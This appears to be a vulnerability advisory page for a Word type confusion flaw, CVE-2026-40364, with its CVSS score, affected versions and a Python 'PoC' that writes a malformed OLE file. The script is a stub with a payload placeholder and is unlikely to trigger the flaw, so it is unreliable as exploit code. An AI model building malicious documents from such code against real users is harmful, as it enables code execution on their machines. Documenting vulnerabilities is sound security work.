Access of resource using incompatible type ('type confusion') in Microsoft Office Word allows an unauthorized attacker to execute code locally.
CVSS Details
CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Microsoft Office Word 2016
Microsoft Office Word 2019
Microsoft Office Word 2021
Microsoft Office 365
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct
# Proof of Concept for CVE-2026-40364
# This script generates a malformed Office document structure to trigger type confusion.
# Note: Actual exploitation requires specific memory layout knowledge.
def generate_malicious_doc(filename):
header = b'\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1' # OLE Header
# Malformed type identifier causing confusion in parser
malicious_type = struct.pack('<I', 0x41414141)
with open(filename, 'wb') as f:
f.write(header)
f.write(b'\x00' * 0x20) # Padding
f.write(malicious_type)
# Payload placeholder would go here
print(f"[+] Malicious file generated: {filename}")
if __name__ == "__main__":
generate_malicious_doc("cve_2026_40364_poc.doc")